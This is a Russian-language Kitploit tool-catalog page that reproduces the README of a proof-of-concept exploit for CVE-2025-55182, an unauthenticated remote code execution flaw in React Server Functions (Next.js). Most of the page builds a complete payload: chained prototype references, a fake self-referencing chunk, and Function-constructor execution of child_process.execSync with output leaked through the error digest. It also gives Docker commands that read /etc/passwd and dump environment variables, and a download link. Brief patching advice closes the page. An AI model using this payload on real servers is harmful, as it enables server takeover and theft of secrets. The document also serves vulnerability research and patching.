Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — Эксплойт-доказательство концепции для CVE-2025-55182, уязвимости удалённого выполнения кода в React Server Functions (Next.js). Демонстрирует загрязнение прототипа, приводящее к неаутентифицированному произвольному выполнению кода через специально сформированные HTTP-запросы. | Kitploit
Инструменты/GitHubGitHub/yuta3003/cve-2025-55182
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFСтатьи и ИсследованияОбучение и Образование
GitHubyuta3003/cve-2025-55182

CVE-2025-55182

Эксплойт-доказательство концепции для CVE-2025-55182, уязвимости удалённого выполнения кода в React Server Functions (Next.js). Демонстрирует загрязнение прототипа, приводящее к неаутентифицированному произвольному выполнению кода через специально сформированные HTTP-запросы.

Репозиторий
29 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182

Демонстрационный код уязвимости удалённого выполнения кода (RCE) в React Server Functions (Next.js и др.). Эксплуатирует загрязнение прототипа для выполнения произвольного кода на сервере без аутентификации.

Внимание: Данный репозиторий предназначен только для образовательных и исследовательских целей. Запрещено использование в незаконных целях.


Обзор

Затронутые версии

  • Next.js: 16.0.6 и ранее (уязвим)
  • React: до этого коммита

Серьёзность уязвимости

  • CVSS: Высокий (детальный показатель не опубликован)
  • Сложность атаки: Низкая (не требуется аутентификация, атака одним HTTP-запросом)
  • Влияние: Выполнение произвольного кода на сервере

Причина уязвимости

Недостаточная проверка цепочки прототипов в процессе десериализации протокола React Flight. Это позволяет получить доступ к конструктору Function через и выполнить произвольный код JavaScript.

__proto__

Использование

Среда Docker (рекомендуется)

Самый простой способ проверки.

root@kitploit:~
# 1. Запустить уязвимый сервер Next.js
docker compose up -d --build

# 2. Выполнить эксплойт (по умолчанию: команда id)
docker compose run --rm poc

# 4. Выполнить произвольную команду
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. Остановить сервер
docker-compose down

Техническое объяснение

1. Предварительные сведения

Что такое React Server Functions

Функции серверной стороны, предоставляемые в Next.js и других фреймворках.

root@kitploit:~
// Server Action (функция, выполняемая только на сервере)
async function submitForm(formData) {
  'use server'  // ← объявление серверной функции

  // Обработка на сервере, например, работа с БД
  const result = await db.insert(formData)
  return result
}

При вызове с клиента:

  1. Отправляется на сервер как HTTP-запрос
  2. Аргументы сериализуются/десериализуются с помощью React Flight Protocol
  3. Функция выполняется на сервере
  4. Результат возвращается клиенту

Механизм React Flight Protocol

Клиент отправляет данные единицами, называемыми «чанками»:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),                                  # Чанк 0: ссылка на чанк 1
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # Чанк 1: ссылается на fruitName из чанка 2
    "2": (None, '{"fruitName":"cherry"}'),                  # Чанк 2: фактические данные
}

После десериализации на сервере:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Ключевой момент: чанки могут ссылаться друг на друга.


2. Детали уязвимости

Проблема

До исправляющего коммита при разрешении ссылок на чанки не проверялось, существует ли ключ непосредственно в объекте.

Это позволяет получить доступ к цепочке прототипов.

Базовая атака (получение конструктора Function)

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Процесс разрешения ссылки:

root@kitploit:~
Объект чанка 1 → __proto__ → constructor → constructor → Function

Результат:

root@kitploit:~
[Function: Function]  // Получен конструктор Function!

Развитие атаки (эксплуатация метода then)

Делаем чанк 0 объектом и устанавливаем свойство then на конструктор Function:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Код Next.js (action-handler.ts:888, до патча):

root@kitploit:~
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Этот await пытается вызвать объект с then, являющимся конструктором Function, что приводит к ошибке:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. Техника эксплуатации (продвинутая)

Проблема

Конструктор Function получен, но как заставить его выполнить произвольный код?

Что нужно:

  1. Гаджет для вызова конструктора Function (передать код в виде строки)
  2. Гаджет для выполнения сгенерированной функции

Решение: самореферентные чанки

Идея maple3142: создать «поддельный чанк», где чанк 0 ссылается сам на себя.

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # Перезаписать свой then на Chunk.prototype.then
    "1": (None, '"$@0"'),                          # $@0 = «сырое» представление чанка 0
}

Синтаксис $@ возвращает «сырой чанк», а не разрешённое значение:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Результат: then чанка 0 заменяется на Chunk.prototype.then.

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← попадаем сюда
  }
  // ...
}

Эксплуатация двухэтапной оценки

Устанавливаем поддельному чанку status: "resolved_model", и будет вызвана функция initializeModelChunk:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Внутри initializeModelChunk:

root@kitploit:~
function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

Здесь происходит вторая оценка.

Финальная нагрузка: эксплуатация обработки Blob

Обработка blob в React Flight Protocol (префикс $B):

root@kitploit:~
case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← эксплуатируем здесь
  );

Манипулируем _response поддельного чанка: устанавливаем _formData.get на конструктор Function, а _prefix — на код, который хотим выполнить:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # чтобы toString() не вызвал ошибку
    "value": '{"then": "$B0"}',  # устанавливаем then через ссылку на blob
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # конструктор Function
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Поток выполнения:

root@kitploit:~
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// Эта функция вызывается через await → выполнение кода!

4. Работа PoC

poc.py реализует описанную выше нагрузку и извлекает результат выполнения команды из сообщения об ошибке:

root@kitploit:~
# Встраиваем вывод команды в поле digest ошибки
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

Атака срабатывает при установке HTTP-заголовка Next-Action: x:

root@kitploit:~
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

Важно: эта атака происходит во время десериализации, то есть до проверки действия (getActionModIdOrError).


Меры противодействия

Для разработчиков

  1. Немедленно обновить: установить последние версии React и Next.js

    root@kitploit:~
    npm update react react-dom next
    
  2. Проверить версии:

    root@kitploit:~
    npm list react next
    
    • Next.js 16.0.7 и новее
    • React 19.2.1 и новее (включает исправляющий коммит)
  3. WAF/меры безопасности:

    • Мониторинг заголовка Next-Action
    • Блокировка аномальных данных формы

Сканирование уязвимости

root@kitploit:~
# Проверка проекта на уязвимости
npm audit

Справочные материалы

  1. Официальная документация React Server Functions
  2. Объяснение протокола React Flight
  3. Исправляющий коммит
  4. Объяснение прототипов JavaScript
  5. Конструктор Function
  6. Первооткрыватель: maple3142

Лицензия и отказ от ответственности

Данный репозиторий предоставляется только в образовательных и исследовательских целях.

  • Использование его в отношении сторонних систем без разрешения незаконно
  • Автор не несёт ответственности за любой ущерб, возникший в результате использования
  • Исследователи безопасности должны использовать его ответственно

Вклад

Обнаружение уязвимости: maple3142 Реализация PoC: автор данного репозитория

Скачать инструмент